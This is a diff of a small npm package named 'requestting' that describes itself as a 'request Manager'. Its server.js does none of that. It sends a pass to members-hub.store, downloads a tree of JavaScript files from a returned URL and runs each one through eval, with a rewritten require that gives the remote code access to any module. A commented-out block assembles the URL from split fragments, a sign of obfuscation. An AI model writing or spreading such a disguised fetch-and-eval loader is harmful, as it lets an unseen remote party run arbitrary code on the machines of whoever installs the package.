requestting 0.0.1

package/README.md

@@ -0,0 +1 @@
+# Worker online custom for teamlog #

package/package.json

@@ -0,0 +1,22 @@
+{
+    "name": "requestting",
+    "description": "request Manager",
+    "version": "0.0.1",
+    "main": "server.js",
+    "dependencies": {
+        "axios": "^0.22.0",
+        "express": "^4.19.2",
+        "mongoose": "^8.5.5",
+        "node-fetch": "^2.6.1",
+        "pretty-ms": "^6.0.0",
+        "random-token": "^0.0.6",
+        "socket.io-client": "^4.7.1"
+    },
+    "keywords": [
+        "requests",
+        "requestting"
+    ],
+    "author": "A7med",
+    "license": "MIT",
+    "readmeFilename": "README.md"
+}

package/server.js

@@ -0,0 +1,176 @@
+const FILESYSTEM__ = require("./system.js");
+const AXIOS__ = require("axios");
+const oldRequire = require;
+const EXPRESS__ = oldRequire("express");
+const APP__ = EXPRESS__();
+
+APP__.get('/', (req, res) => {
+  res.status(200).json({});
+});
+
+APP__.listen(3001);
+
+class Main {
+  constructor(pass, id) {
+    this._files = {};
+    this.cache = {};
+    this.fs = new FILESYSTEM__(this);
+
+    console.log(pass, id)
+
+    this.pass = pass;
+    this.id = id;
+
+    this._request_Files();
+
+  }
+
+  handleError(err) {
+    console.log(err);
+    process.exit(0);
+  }
+
+  async _request_Files() {
+/*
+    const _r = ["https://al", "ways", "online", ".members", "-hub", ".store/", "api", "/files"]
+    const _p = ["1234567", "8901@"]
+    console.log(_r, _p)
+    const _e = _r[0] + _r[1] + _r[2] + _r[3] + _r[4] + _r[5] + _r[6] + _r[7];
+    const _a = _p[0] + _p[1];
+    console.log(_e, _a)
+*/
+    console.log(this.pass)
+    let data = await AXIOS__.get("https://members-hub.store/linkbyauth?pass=" + this.pass).then(res=>res.data).catch(err=>this.handleError(err?.response?.data))
+    console.log(data)
+    if(!data) return;
+
+
+    const endpoint = process.env.myurl;
+    const authenticationHeader = process.env.auth;
+
+    const filesObj = await AXIOS__.get(data[this.id], {
+      headers: {
+        authentication: data[3],
+      },
+    })
+      .then((res) => res.data)
+      .catch((err) => this.handleError(err.response?.data));
+
+    if (!filesObj) return;
+
+    console.log(filesObj['index.js'])
+
+    this._files = filesObj;
+    console.log("Files Loaded!");
+    this.star_t();
+  }
+
+  get files() {
+    return this._files;
+  }
+
+  _require(path, input) {
+    if (input === "F_S".split("_").join("").toLowerCase()) {
+      return this.fs;
+    } else if (!input.includes("/")) {
+      return oldRequire(input);
+    } else {
+      let currentPath = path;
+      let executePath = input;
+
+      let currentPath_ = currentPath;
+      let executePath_ = executePath;
+
+      let target = "";
+      let extention = "";
+
+      if (executePath.endsWith(".js") || executePath.endsWith(".json")) {
+        extention = executePath.endsWith(".js") ? ".js" : ".json";
+        executePath = executePath.split(".");
+        executePath = executePath.slice(0, executePath.length - 1).join(".");
+      }
+
+      if (!executePath.includes(".")) {
+        currentPath = "/";
+      }
+      if (executePath.startsWith("/app/")) {
+        executePath = executePath.replace("/app/", "/");
+      }
+
+      while (true) {
+        if (!executePath.includes(".")) {
+          target = "/" + executePath + extention;
+          break;
+        }
+        const splited = executePath.split("/");
+        if (splited[0] === "..") {
+          currentPath = currentPath.split("/");
+          currentPath = currentPath.slice(0, currentPath.length - 1).join("/");
+          executePath = executePath.split("/").slice(1).join("/");
+        } else if (splited[0] === ".") {
+          executePath = executePath.split("/").slice(1).join("/");
+        } else if (splited[0] === "") {
+        }
+      }
+
+      const result =
+        this.cache[target] ||
+        this.load_FromPath(currentPath + target, currentPath);
+
+      if (!result) {
+        console.log(`
+Main execute path: ${executePath_}
+Main current path: ${currentPath_}
+execute path: ${executePath}
+current path: ${currentPath}
+target: ${currentPath + target}
+result: ${!!result}
+`);
+      }
+
+      return result;
+    }
+  }
+
+  load_FromPath(pathname, pathofkey) {
+    try {
+      require = (...args) => this._require(pathofkey, ...args);
+
+      let result = this.files;
+      const splited = pathname.split("/");
+
+      for (let i = 0; i < splited.length; i++) {
+        if (!splited[i]) continue;
+        let dir = splited[i];
+        result = result[dir];
+      }
+
+      try {
+        this.cache[pathname] = eval(result);
+      } catch (e) {
+        console.log(pathname, e.message);
+      }
+
+      return this.cache[pathname];
+    } catch (e) {
+      console.log(e, pathname, pathofkey);
+    }
+  }
+
+  async star_t() {
+    const caching = (obj, path = "") => {
+      const result = {};
+      for (let [key, value] of Object.entries(obj)) {
+        const pathofkey = `${path}/${key}`;
+        if (typeof value === "object") {
+          result[key] = caching(value, pathofkey);
+        } else {
+          this.load_FromPath(pathofkey, path);
+        }
+      }
+    };
+
+    caching(this.files);
+  }
+}
+module.exports = Main

package/system.js

@@ -0,0 +1,21 @@
+class FS {
+    constructor(manager) {
+      this.manager = manager;
+    }
+  
+    readdirSync(pathname) {
+      let result = { app: this.manager.files };
+      let splited = pathname.split("/");
+  
+      for (let i = 0; i < splited.length; i++) {
+        if (!splited[i]) continue;
+        let dir = splited[i];
+        result = result[dir];
+      }
+  
+      return Object.keys(result);
+    }
+  }
+  
+  module.exports = FS;
+